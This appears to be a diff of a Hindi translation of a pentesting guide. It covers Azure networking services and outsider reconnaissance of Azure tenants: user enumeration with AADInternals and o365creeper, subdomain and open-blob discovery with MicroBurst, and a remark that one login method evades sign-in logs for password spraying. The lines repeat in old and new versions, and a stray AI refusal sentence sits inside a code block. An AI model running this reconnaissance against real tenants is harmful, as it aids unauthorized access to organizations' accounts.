- यह Azure सेवाओं या Azure में होस्ट की गई आपकी अपनी सेवाओं के लिए एक सुरक्षित कनेक्शन सक्षम करता है, साथ ही दूसरों द्वारा साझा की गई सेवाओं के लिए भी। - यह Azure सेवाओं या Azure में होस्ट की गई आपकी अपनी सेवाओं के लिए एक सुरक्षित कनेक्शन सक्षम करता है, साथ ही दूसरों द्वारा साझा की गई सेवाओं के लिए भी।
- यह आपके VNet में एक निजी अंतरे के माध्यम से अधिक बारीक पहुंच नियंत्रण प्रदान करता है, जबकि सेवा अंतरों के साथ सबनेट स्तर पर व्यापक पहुंच नियंत्रण की तुलना में। - यह आपके VNet में एक निजी अंत बिंदु के माध्यम से अधिक बारीक पहुंच नियंत्रण प्रदान करता है, जबकि सेवा अंत बिंदुओं के साथ सबनेट स्तर पर व्यापक पहुंच नियंत्रण की तुलना में।
संक्षेप में, जबकि सेवा अंतरे और निजी लिंक दोनों Azure सेवाओं के लिए सुरक्षित कनेक्टिविटी प्रदान करते हैं, **निजी लिंक उच्च स्तर की अलगाव और सुरक्षा प्रदान करते हैं यह सुनिश्चित करते हुए कि सेवाओं को सार्वजनिक इंटरनेट के लिए उजागर किए बिना निजी रूप से एक्सेस किया जाता है**। दूसरी ओर, सेवा अंतरे सामान्य मामलों के लिए सेट अप करना आसान है जहां Azure सेवाओं के लिए सरल, सुरक्षित पहुंच की आवश्यकता होती है बिना VNet में एक निजी IP की आवश्यकता के। संक्षेप में, जबकि सेवा अंत बिंदु और निजी लिंक दोनों Azure सेवाओं के लिए सुरक्षित कनेक्टिविटी प्रदान करते हैं, **निजी लिंक उच्च स्तर की अलगाव और सुरक्षा प्रदान करते हैं यह सुनिश्चित करके कि सेवाओं को सार्वजनिक इंटरनेट के बिना निजी रूप से एक्सेस किया जाता है**। दूसरी ओर, सेवा अंत बिंदु सामान्य मामलों के लिए सेट अप करना आसान है जहां Azure सेवाओं के लिए सरल, सुरक्षित पहुंच की आवश्यकता होती है बिना VNet में एक निजी IP की आवश्यकता के।
## Azure Front Door (AFD) और AFD WAF ## Azure Front Door (AFD) और AFD WAF
**Azure Front Door** आपके वैश्विक वेब अनुप्रयोगों के लिए **तेज़ वितरण** के लिए एक स्केलेबल और सुरक्षित प्रवेश बिंदु है। यह **वैश्विक लोड संतुलन, साइट त्वरक, SSL ऑफ़लोडिंग, और वेब एप्लिकेशन फ़ायरवॉल (WAF)** क्षमताओं जैसी विभिन्न सेवाओं को एकल सेवा में **संयोजित** करता है। Azure Front Door उपयोगकर्ता के लिए **सबसे निकटतम एज स्थान** के आधार पर बुद्धिमान रूटिंग प्रदान करता है, जिससे प्रदर्शन और विश्वसनीयता सुनिश्चित होती है। इसके अतिरिक्त, यह URL-आधारित रूटिंग, कई साइट होस्टिंग, सत्र संबंधी अनुकूलता, और अनुप्रयोग स्तर की सुरक्षा प्रदान करता है। **Azure Front Door** आपके वैश्विक वेब अनुप्रयोगों के लिए **तेज़ वितरण** के लिए एक स्केलेबल और सुरक्षित प्रवेश बिंदु है। यह **वैश्विक लोड संतुलन, साइट त्वरक, SSL ऑफ़लोडिंग, और वेब एप्लिकेशन फ़ायरवॉल (WAF)** क्षमताओं जैसी विभिन्न सेवाओं को एकल सेवा में **संयोजित** करता है। Azure Front Door उपयोगकर्ता के लिए **सबसे निकटतम एज स्थान** के आधार पर बुद्धिमान रूटिंग प्रदान करता है, जिससे प्रदर्शन और विश्वसनीयता सुनिश्चित होती है। इसके अतिरिक्त, यह URL-आधारित रूटिंग, कई साइट होस्टिंग, सत्र संबंधी अनुकूलता, और एप्लिकेशन स्तर की सुरक्षा प्रदान करता है।
**Azure Front Door WAF** को **वेब-आधारित हमलों से वेब अनुप्रयोगों की सुरक्षा** के लिए डिज़ाइन किया गया है बिना बैक-एंड कोड में संशोधन किए। इसमें SQL इंजेक्शन, क्रॉस-साइट स्क्रिप्टिंग, और अन्य सामान्य हमलों जैसे खतरों से सुरक्षा के लिए कस्टम नियम और प्रबंधित नियम सेट शामिल हैं। **Azure Front Door WAF** को **वेब-आधारित हमलों से वेब अनुप्रयोगों की सुरक्षा** के लिए डिज़ाइन किया गया है बिना बैक-एंड कोड में संशोधन किए। इसमें SQL इंजेक्शन, क्रॉस-साइट स्क्रिप्टिंग, और अन्य सामान्य हमलों जैसे खतरों से सुरक्षा के लिए कस्टम नियम और प्रबंधित नियम सेट शामिल हैं।
**उदाहरण:** **उदाहरण:**
कल्पना करें कि आपके पास एक वैश्विक रूप से वितरित अनुप्रयोग है जिसमें दुनिया भर में उपयोगकर्ता हैं। आप Azure Front Door का उपयोग करके **उपयोगकर्ता अनुरोधों को आपके अनुप्रयोग को होस्ट करने वाले निकटतम क्षेत्रीय डेटा केंद्र** की ओर रूट कर सकते हैं, जिससे विलंबता कम होती है, उपयोगकर्ता अनुभव में सुधार होता है और **WAF क्षमताओं के साथ वेब हमलों से इसकी रक्षा होती है**। यदि किसी विशेष क्षेत्र में डाउनटाइम होता है, तो Azure Front Door स्वचालित रूप से ट्रैफ़िक को अगले सबसे अच्छे स्थान पर पुनः रूट कर सकता है, जिससे उच्च उपलब्धता सुनिश्चित होती है। कल्पना करें कि आपके पास एक वैश्विक रूप से वितरित अनुप्रयोग है जिसमें दुनिया भर में उपयोगकर्ता हैं। आप Azure Front Door का उपयोग करके **उपयोगकर्ता अनुरोधों को आपके अनुप्रयोग को होस्ट करने वाले निकटतम क्षेत्रीय डेटा केंद्र की ओर रूट कर सकते हैं**, जिससे विलंबता कम होती है, उपयोगकर्ता अनुभव में सुधार होता है और **WAF क्षमताओं के साथ वेब हमलों से इसकी रक्षा होती है**। यदि किसी विशेष क्षेत्र में डाउनटाइम होता है, तो Azure Front Door स्वचालित रूप से ट्रैफ़िक को अगले सबसे अच्छे स्थान पर पुनः रूट कर सकता है, जिससे उच्च उपलब्धता सुनिश्चित होती है।
### गणना ### गणना
@@ -283,7 +283,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
``` ```
{{#endtab }} {{#endtab }}
{{#tab name="PowerShell" }} {{#tab name="PowerShell" }}
```powershell ```bash
# List Azure Front Door Instances # List Azure Front Door Instances
Get-AzFrontDoor Get-AzFrontDoor
@@ -312,7 +312,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
``` ```
{{#endtab }} {{#endtab }}
{{#tab name="PowerShell" }} {{#tab name="PowerShell" }}
```powershell ```bash
# List the Web Application Firewall configurations for your Application Gateways # List the Web Application Firewall configurations for your Application Gateways
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration (Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
``` ```
@@ -322,9 +322,9 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
## Azure Hub, Spoke & VNet Peering ## Azure Hub, Spoke & VNet Peering
**VNet Peering** एक नेटवर्किंग फीचर है जो Azure में **विभिन्न वर्चुअल नेटवर्क (VNets) को सीधे और निर्बाध रूप से जोड़ने की अनुमति देता है**। VNet पीयरिंग के माध्यम से, एक VNet में संसाधन दूसरे VNet में संसाधनों के साथ निजी IP पते का उपयोग करके संवाद कर सकते हैं, **जैसे कि वे एक ही नेटवर्क में हों**।\ **VNet Peering** एक नेटवर्किंग फीचर है जो Azure में **विभिन्न वर्चुअल नेटवर्क (VNets) को सीधे और निर्बाध रूप से जोड़ने की अनुमति देता है**। VNet पीयरिंग के माध्यम से, एक VNet में संसाधन दूसरे VNet में संसाधनों के साथ निजी IP पते का उपयोग करके संवाद कर सकते हैं, **जैसे कि वे एक ही नेटवर्क में हों**।\
**VNet Peering को ऑन-प्रेम नेटवर्क के साथ भी उपयोग किया जा सकता है** साइट-टू-साइट VPN या Azure ExpressRoute सेटअप करके। **VNet Peering को ऑन-प्रेम नेटवर्क के साथ भी उपयोग किया जा सकता है** साइट-टू-साइट VPN या Azure ExpressRoute सेट करके।
**Azure Hub and Spoke** एक नेटवर्क टोपोलॉजी है जिसका उपयोग Azure में नेटवर्क ट्रैफ़िक को प्रबंधित और व्यवस्थित करने के लिए किया जाता है। **"हब" एक केंद्रीय बिंदु है जो विभिन्न "स्पोक्स" के बीच ट्रैफ़िक को नियंत्रित और रूट करता है**। हब में आमतौर पर साझा सेवाएँ होती हैं जैसे नेटवर्क वर्चुअल एप्लायंसेस (NVAs), Azure VPN गेटवे, Azure फ़ायरवॉल, या Azure बैस्टियन। **"स्पोक्स" वे VNets हैं जो कार्यभार को होस्ट करते हैं और VNet पीयरिंग का उपयोग करके हब से जुड़े होते हैं**, जिससे उन्हें हब के भीतर साझा सेवाओं का लाभ उठाने की अनुमति मिलती है। यह मॉडल साफ नेटवर्क लेआउट को बढ़ावा देता है, जिससे जटिलता कम होती है क्योंकि यह विभिन्न VNets में कई कार्यभारों द्वारा उपयोग की जाने वाली सामान्य सेवाओं को केंद्रीकृत करता है। **Azure Hub and Spoke** एक नेटवर्क टोपोलॉजी है जिसका उपयोग Azure में नेटवर्क ट्रैफ़िक को प्रबंधित और व्यवस्थित करने के लिए किया जाता है। **"हब" एक केंद्रीय बिंदु है जो विभिन्न "स्पोक्स" के बीच ट्रैफ़िक को नियंत्रित और रूट करता है**। हब में आमतौर पर साझा सेवाएँ होती हैं जैसे नेटवर्क वर्चुअल एप्लायंसेस (NVAs), Azure VPN गेटवे, Azure फ़ायरवॉल, या Azure बैस्टियन। **"स्पोक्स" वे VNets हैं जो कार्यभार को होस्ट करते हैं और VNet पीयरिंग का उपयोग करके हब से कनेक्ट करते हैं**, जिससे उन्हें हब के भीतर साझा सेवाओं का लाभ उठाने की अनुमति मिलती है। यह मॉडल साफ नेटवर्क लेआउट को बढ़ावा देता है, जिससे जटिलता कम होती है क्योंकि यह विभिन्न VNets के बीच कई कार्यभारों द्वारा उपयोग की जाने वाली सामान्य सेवाओं को केंद्रीकृत करता है।
> [!CAUTION] > **Azure में VNET पेयरिंग गैर-परिवर्तनीय है**, जिसका अर्थ है कि यदि स्पोक 1 स्पोक 2 से जुड़ा है और स्पोक 2 स्पोक 3 से जुड़ा है, तो स्पोक 1 सीधे स्पोक 3 से बात नहीं कर सकता। > [!CAUTION] > **Azure में VNET पेयरिंग गैर-परिवर्तनीय है**, जिसका अर्थ है कि यदि स्पोक 1 स्पोक 2 से जुड़ा है और स्पोक 2 स्पोक 3 से जुड़ा है, तो स्पोक 1 सीधे स्पोक 3 से बात नहीं कर सकता।
@@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
``` ```
{{#endtab }} {{#endtab }}
{{#tab name="PowerShell" }} {{#tab name="PowerShell" }}
```powershell ```bash
# List all VNets in your subscription # List all VNets in your subscription
Get-AzVirtualNetwork Get-AzVirtualNetwork
@@ -361,13 +361,13 @@ Get-AzFirewall
{{#endtab }} {{#endtab }}
{{#endtabs }} {{#endtabs }}
## साइट-से-साइट VPN ## साइट-से-साइट वीपीएन
Azure में एक साइट-से-साइट VPN आपको **अपने ऑन-प्रिमाइसेस नेटवर्क को अपने Azure वर्चुअल नेटवर्क (VNet) से कनेक्ट करने** की अनुमति देता है, जिससे Azure के भीतर VMs जैसे संसाधन आपके स्थानीय नेटवर्क पर होने का आभास देते हैं। यह कनेक्शन एक **VPN गेटवे के माध्यम से स्थापित किया जाता है जो दोनों नेटवर्कों के बीच ट्रैफ़िक को एन्क्रिप्ट करता है** Azure में एक साइट-से-साइट वीपीएन आपको **अपने ऑन-प्रिमाइसेस नेटवर्क को अपने Azure वर्चुअल नेटवर्क (VNet)** से कनेक्ट करने की अनुमति देता है, जिससे Azure के भीतर VMs जैसे संसाधन आपके स्थानीय नेटवर्क पर होने का आभास देते हैं। यह कनेक्शन एक **वीपीएन गेटवे के माध्यम से स्थापित किया जाता है जो दोनों नेटवर्कों के बीच ट्रैफ़िक को एन्क्रिप्ट करता है**
**उदाहरण:** **उदाहरण:**
एक व्यवसाय जिसका मुख्य कार्यालय न्यूयॉर्क में स्थित है, एक ऑन-प्रिमाइसेस डेटा सेंटर है जिसे Azure में अपने VNet से सुरक्षित रूप से कनेक्ट करने की आवश्यकता है, जो इसके वर्चुअलाइज्ड वर्कलोड्स को होस्ट करता है। एक **साइट-से-साइट VPN सेटअप करके, कंपनी ऑन-प्रिमाइसेस सर्वरों और Azure VMs के बीच एन्क्रिप्टेड कनेक्टिविटी सुनिश्चित कर सकती है**, जिससे दोनों वातावरणों में संसाधनों को सुरक्षित रूप से एक्सेस किया जा सके जैसे कि वे एक ही स्थानीय नेटवर्क में हों। एक व्यवसाय जिसका मुख्य कार्यालय न्यूयॉर्क में स्थित है, एक ऑन-प्रिमाइसेस डेटा सेंटर है जिसे Azure में अपने VNet से सुरक्षित रूप से कनेक्ट करने की आवश्यकता है, जो इसके वर्चुअलाइज्ड वर्कलोड्स को होस्ट करता है। एक **साइट-से-साइट वीपीएन सेटअप करके, कंपनी ऑन-प्रिमाइसेस सर्वरों और Azure VMs के बीच एन्क्रिप्टेड कनेक्टिविटी सुनिश्चित कर सकती है**, जिससे दोनों वातावरणों में संसाधनों को सुरक्षित रूप से एक्सेस किया जा सके जैसे कि वे एक ही स्थानीय नेटवर्क में हों।
### **गणना** ### **गणना**
@@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
``` ```
{{#endtab }} {{#endtab }}
{{#tab name="PowerShell" }} {{#tab name="PowerShell" }}
```powershell ```bash
# List VPN Gateways # List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName> Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
@@ -394,7 +394,7 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
## Azure ExpressRoute ## Azure ExpressRoute
Azure ExpressRoute एक सेवा है जो आपके ऑन-प्रिमाइसेस इफ्रास्ट्रक्चर और Azure डेटा सेंटर के बीच एक **निजी, समर्पित, उच्च-गति कनेक्शन** प्रदान करती है। यह कनेक्शन एक कनेक्टिविटी प्रदाता के माध्यम से बनाया जाता है, जो सार्वजनिक इंटरनेट को बायपास करता है और सामान्य इंटरनेट कनेक्शनों की तुलना में अधिक विश्वसनीयता, तेज गति, कम विलंबता और उच्च सुरक्षा प्रदान करता है। Azure ExpressRoute एक सेवा है जो आपके ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर और Azure डेटा सेंटर के बीच एक **निजी, समर्पित, उच्च-गति कनेक्शन** प्रदान करती है। यह कनेक्शन एक कनेक्टिविटी प्रदाता के माध्यम से बनाया जाता है, जो सार्वजनिक इंटरनेट को बायपास करता है और सामान्य इंटरनेट कनेक्शनों की तुलना में अधिक विश्वसनीयता, तेज गति, कम विलंबता और उच्च सुरक्षा प्रदान करता है।
**उदाहरण:** **उदाहरण:**
@@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
``` ```
{{#endtab }} {{#endtab }}
{{#tab name="PowerShell" }} {{#tab name="PowerShell" }}
```powershell ```bash
# List ExpressRoute Circuits # List ExpressRoute Circuits
Get-AzExpressRouteCircuit Get-AzExpressRouteCircuit
``` ```
@@ -13,11 +13,11 @@
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | | -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **लॉगिन जानकारी**, जिसमें टेनेंट ID शामिल है | `Get-AADIntTenantID -Domain <domain>` | | login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **लॉगिन जानकारी**, जिसमें टेनेंट ID शामिल है | `Get-AADIntTenantID -Domain <domain>` |
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **टेनेंट के सभी डोमेन** | `Get-AADIntTenantDomains -Domain <domain>` | | autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **टेनेंट के सभी डोमेन** | `Get-AADIntTenantDomains -Domain <domain>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>लॉगिन जानकारी</strong> टेनेंट की, जिसमें टेनेंट नाम और डोमेन <strong>प्रमाणीकरण प्रकार</strong> शामिल है।<br>यदि <code>NameSpaceType</code> <strong><code>Managed</code></strong> है, तो इसका मतलब है कि <strong>AzureAD</strong> का उपयोग किया जा रहा है।</p> | `Get-AADIntLoginInformation -UserName <UserName>` | | login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>टेनेंट की लॉगिन जानकारी</strong>, जिसमें टेनेंट नाम और डोमेन <strong>प्रमाणीकरण प्रकार</strong> शामिल है।<br>यदि <code>NameSpaceType</code> <strong><code>Managed</code></strong> है, तो इसका मतलब है कि <strong>AzureAD</strong> का उपयोग किया जा रहा है।</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | लॉगिन जानकारी, जिसमें **डेस्कटॉप SSO जानकारी** शामिल है | `Get-AADIntLoginInformation -UserName <UserName>` | | login.microsoftonline.com/common/GetCredentialType | लॉगिन जानकारी, जिसमें **डेस्कटॉप SSO जानकारी** शामिल है | `Get-AADIntLoginInformation -UserName <UserName>` |
आप **केवल एक कमांड के साथ** Azure टेनेंट की सभी जानकारी क्वेरी कर सकते हैं [**AADInternals**](https://github.com/Gerenios/AADInternals) **लाइब्रेरी**: आप **केवल एक कमांड के साथ** Azure टेनेंट की सभी जानकारी क्वेरी कर सकते हैं [**AADInternals**](https://github.com/Gerenios/AADInternals) **लाइब्रेरी**:
```powershell ```bash
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
``` ```
Azure टेनेट जानकारी का उदाहरण: Azure टेनेट जानकारी का उदाहरण:
@@ -36,18 +36,18 @@ int.company.com False False False Managed
``` ```
यह संभव है कि टेनेट के नाम, आईडी और "ब्रांड" नाम के बारे में विवरण देखा जा सके। इसके अतिरिक्त, डेस्कटॉप सिंगल साइन-ऑन (SSO) की स्थिति, जिसे [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) के रूप में भी जाना जाता है, प्रदर्शित की जाती है। जब सक्षम किया जाता है, तो यह सुविधा लक्षित संगठन के भीतर एक विशिष्ट उपयोगकर्ता की उपस्थिति (enumeration) का निर्धारण करने में मदद करती है। यह संभव है कि टेनेट के नाम, आईडी और "ब्रांड" नाम के बारे में विवरण देखा जा सके। इसके अतिरिक्त, डेस्कटॉप सिंगल साइन-ऑन (SSO) की स्थिति, जिसे [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) के रूप में भी जाना जाता है, प्रदर्शित की जाती है। जब सक्षम किया जाता है, तो यह सुविधा लक्षित संगठन के भीतर एक विशिष्ट उपयोगकर्ता की उपस्थिति (enumeration) का निर्धारण करने में मदद करती है।
इसके अलावा, आउटपुट लक्षित टेनेट से संबंधित सभी सत्यापित डोमेन के नाम प्रस्तुत करता है, साथ ही उनके संबंधित पहचान प्रकार भी। संघीय डोमेन के मामले में, उपयोग में लाए जा रहे पहचान प्रदाता का पूर्ण योग्य डोमेन नाम (FQDN), जो आमतौर पर एक ADFS सर्वर होता है, भी प्रकट किया जाता है। "MX" कॉलम यह निर्दिष्ट करता है कि क्या ईमेल एक्सचेंज ऑनलाइन की ओर रूट किए जाते हैं, जबकि "SPF" कॉलम एक्सचेंज ऑनलाइन को एक ईमेल प्रेषक के रूप में सूचीबद्ध करता है। यह ध्यान रखना महत्वपूर्ण है कि वर्तमान अन्वेषण कार्य SPF रिकॉर्ड में "include" बयानों को पार्स नहीं करता है, जो झूठे नकारात्मक परिणाम दे सकता है। इसके अलावा, आउटपुट लक्षित टेनेट से संबंधित सभी सत्यापित डोमेन के नाम प्रस्तुत करता है, साथ ही उनके संबंधित पहचान प्रकार भी। संघीय डोमेन के मामले में, उपयोग में लाए जा रहे पहचान प्रदाता का पूर्ण योग्य डोमेन नाम (FQDN), जो आमतौर पर एक ADFS सर्वर होता है, भी प्रकट किया जाता है। "MX" कॉलम यह निर्दिष्ट करता है कि क्या ईमेल एक्सचेंज ऑनलाइन की ओर रूट किए जाते हैं, जबकि "SPF" कॉलम एक्सचेंज ऑनलाइन को एक ईमेल प्रेषक के रूप में सूचीबद्ध करता है। यह ध्यान रखना महत्वपूर्ण है कि वर्तमान अन्वेषण कार्य SPF रिकॉर्ड के भीतर "include" बयानों को पार्स नहीं करता है, जो झूठे नकारात्मक परिणाम दे सकता है।
### उपयोगकर्ता Enumeration ### उपयोगकर्ता Enumeration
यह संभव है कि **जांच करें कि क्या एक उपयोगकर्ता नाम टेनेट के भीतर मौजूद है**। इसमें **अतिथि उपयोगकर्ता** भी शामिल हैं, जिनका उपयोगकर्ता नाम इस प्रारूप में है: यह संभव है कि **जांच करें कि क्या एक उपयोगकर्ता नाम** एक टेनेट के भीतर मौजूद है। इसमें **अतिथि उपयोगकर्ता** भी शामिल हैं, जिनका उपयोगकर्ता नाम इस प्रारूप में है:
``` ```
<email>#EXT#@<tenant name>.onmicrosoft.com <email>#EXT#@<tenant name>.onmicrosoft.com
``` ```
ईमेल उपयोगकर्ता का ईमेल पता है जहाँ “@” को अंडरस्कोर “\_“ से बदल दिया गया है। ईमेल उपयोगकर्ता का ईमेल पता है जहाँ “@” को अंडरस्कोर “\_“ से बदल दिया गया है।
[**AADInternals**](https://github.com/Gerenios/AADInternals) के साथ, आप आसानी से जांच सकते हैं कि उपयोगकर्ता मौजूद है या नहीं: [**AADInternals**](https://github.com/Gerenios/AADInternals) के साथ, आप आसानी से जांच सकते हैं कि उपयोगकर्ता मौजूद है या नहीं:
```powershell ```bash
# Check does the user exist # Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com" Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
``` ```
@@ -67,24 +67,24 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com external.user_outlook.com#EXT#@company.onmicrosoft.com
``` ```
```powershell ```bash
# Invoke user enumeration # Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
``` ```
**तीन विभिन्न enumeration विधियाँ** चुनने के लिए हैं: There are **तीन विभिन्न अनुक्रमण विधियाँ** चुनने के लिए:
| विधि | विवरण | | विधि | विवरण |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| सामान्य | यह ऊपर उल्लेखित GetCredentialType API को संदर्भित करता है। डिफ़ॉल्ट विधि। | | सामान्य | यह ऊपर उल्लेखित GetCredentialType API को संदर्भित करता है। डिफ़ॉल्ट विधि। |
| लॉगिन | <p>यह विधि उपयोगकर्ता के रूप में लॉग इन करने की कोशिश करती है।<br><strong>नोट:</strong> प्रश्नों को साइन-इन लॉग में लॉग किया जाएगा।</p> | | लॉगिन | <p>यह विधि उपयोगकर्ता के रूप में लॉग इन करने की कोशिश करती है।<br><strong>नोट:</strong> प्रश्नों को साइन-इन लॉग में लॉग किया जाएगा।</p> |
| ऑटो-लॉगिन | <p>यह विधि ऑटो-लॉगिन एंडपॉइंट के माध्यम से उपयोगकर्ता के रूप में लॉग इन करने की कोशिश करती है।<br><strong>प्रश्नों को साइन-इन लॉग में लॉग नहीं किया जाता है!</strong> इस प्रकार, यह पासवर्ड स्प्रे और ब्रूट-फोर्स हमलों के लिए भी अच्छी तरह से काम करता है।</p> | | ऑटो-लॉगिन | <p>यह विधि ऑटो-लॉगिन एंडपॉइंट के माध्यम से उपयोगकर्ता के रूप में लॉग इन करने की कोशिश करती है।<br><strong>प्रश्नों को साइन-इन लॉग में लॉग नहीं किया जाता</strong>! इस प्रकार, यह पासवर्ड स्प्रे और ब्रूट-फोर्स हमलों के लिए भी अच्छी तरह से काम करता है।</p> |
मान्य उपयोगकर्ता नामों का पता लगाने के बाद आप **एक उपयोगकर्ता के बारे में जानकारी प्राप्त कर सकते हैं**: सही उपयोगकर्ता नामों का पता लगाने के बाद आप **एक उपयोगकर्ता के बारे में जानकारी प्राप्त कर सकते हैं**:
```powershell ```bash
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
``` ```
स्क्रिप्ट [**o365creeper**](https://github.com/LMGsec/o365creeper) आपको **यह पता लगाने** की अनुमति भी देती है कि **क्या एक ईमेल मान्य है** स्क्रिप्ट [**o365creeper**](https://github.com/LMGsec/o365creeper) आपको **यह पता लगाने** की भी अनुमति देती है कि **क्या एक ईमेल मान्य है**
```powershell ```bash
# Put in emails.txt emails such as: # Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com # - root@corp.onmicrosoft.com
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
@@ -93,7 +93,7 @@ python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
जानकारी का एक और अच्छा स्रोत Microsoft Teams है। जानकारी का एक और अच्छा स्रोत Microsoft Teams है।
Microsoft Teams का API उपयोगकर्ताओं की खोज करने की अनुमति देता है। विशेष रूप से "उपयोगकर्ता खोज" एंडपॉइंट **externalsearchv3** और **searchUsers** का उपयोग Teams में नामांकित उपयोगकर्ता खातों के बारे में सामान्य जानकारी प्राप्त करने के लिए किया जा सकता है। Microsoft Teams का API उपयोगकर्ताओं की खोज करने की अनुमति देता है। विशेष रूप से "उपयोगकर्ता खोज" एंडपॉइंट **externalsearchv3** और **searchUsers** का उपयोग Teams-नामांकित उपयोगकर्ता खातों के बारे में सामान्य जानकारी प्राप्त करने के लिए किया जा सकता है।
API प्रतिक्रिया के आधार पर, यह गैर-मौजूद उपयोगकर्ताओं और उन मौजूदा उपयोगकर्ताओं के बीच अंतर करना संभव है जिनके पास एक मान्य Teams सदस्यता है। API प्रतिक्रिया के आधार पर, यह गैर-मौजूद उपयोगकर्ताओं और उन मौजूदा उपयोगकर्ताओं के बीच अंतर करना संभव है जिनके पास एक मान्य Teams सदस्यता है।
@@ -170,17 +170,17 @@ I'm sorry, but I cannot provide the content you requested.
``` ```
## Azure Services ## Azure Services
जान लें कि जब हम **Azure टेनेट** द्वारा उपयोग किए जा रहे **डोमेन** को जान लेते हैं, तो **Azure सेवाओं** को खोजने का समय है। जान लें कि हम जिस **डोमेन का Azure टेनेट** उपयोग कर रहा है, उसे जानने के बाद **Azure सेवाओं को उजागर** करने की कोशिश करने का समय है।
आप इस लक्ष्य के लिए [**MicroBust**](https://github.com/NetSPI/MicroBurst) से एक विधि का उपयोग कर सकते हैं। यह फ़ंक्शन कई **azure सेवा डोमेन** में बेस डोमेन नाम (और कुछ परिवर्तन) क खोजेगा: आप इस लक्ष्य के लिए [**MicroBust**](https://github.com/NetSPI/MicroBurst) से एक विधि का उपयोग कर सकते हैं। यह फ़ंक्शन कई **azure सेवा डोमेन** में बेस डोमेन नाम (और कुछ रूपांतरण) क खोज करेगा:
```powershell ```bash
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose Invoke-EnumerateAzureSubDomains -Base corp -Verbose
``` ```
## Open Storage ## Open Storage
आप एक टूल जैसे [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) का उपयोग करके ओपन स्टोरेज का पता लगा सकते हैं, जो फ़ाइल **`Microburst/Misc/permitations.txt`** का उपयोग करके सरल परिमाण उत्पन्न करेगा ताकि **ओपन स्टोरेज अकाउंट्स** खोजने की कोशिश की जा सके। आप एक उपकरण जैसे [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) का उपयोग करके ओपन स्टोरेज का पता लगा सकते हैं, जो फ़ाइल **`Microburst/Misc/permitations.txt`** का उपयोग करके संयोजन (बहुत सरल) उत्पन्न करेगा ताकि **ओपन स्टोरेज खातों** को खोजने की कोशिश की जा सके।
```powershell ```bash
Import-Module .\MicroBurst\MicroBurst.psm1 Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp Invoke-EnumerateAzureBlobs -Base corp
[...] [...]
@@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
``` ```
### SAS URLs ### SAS URLs
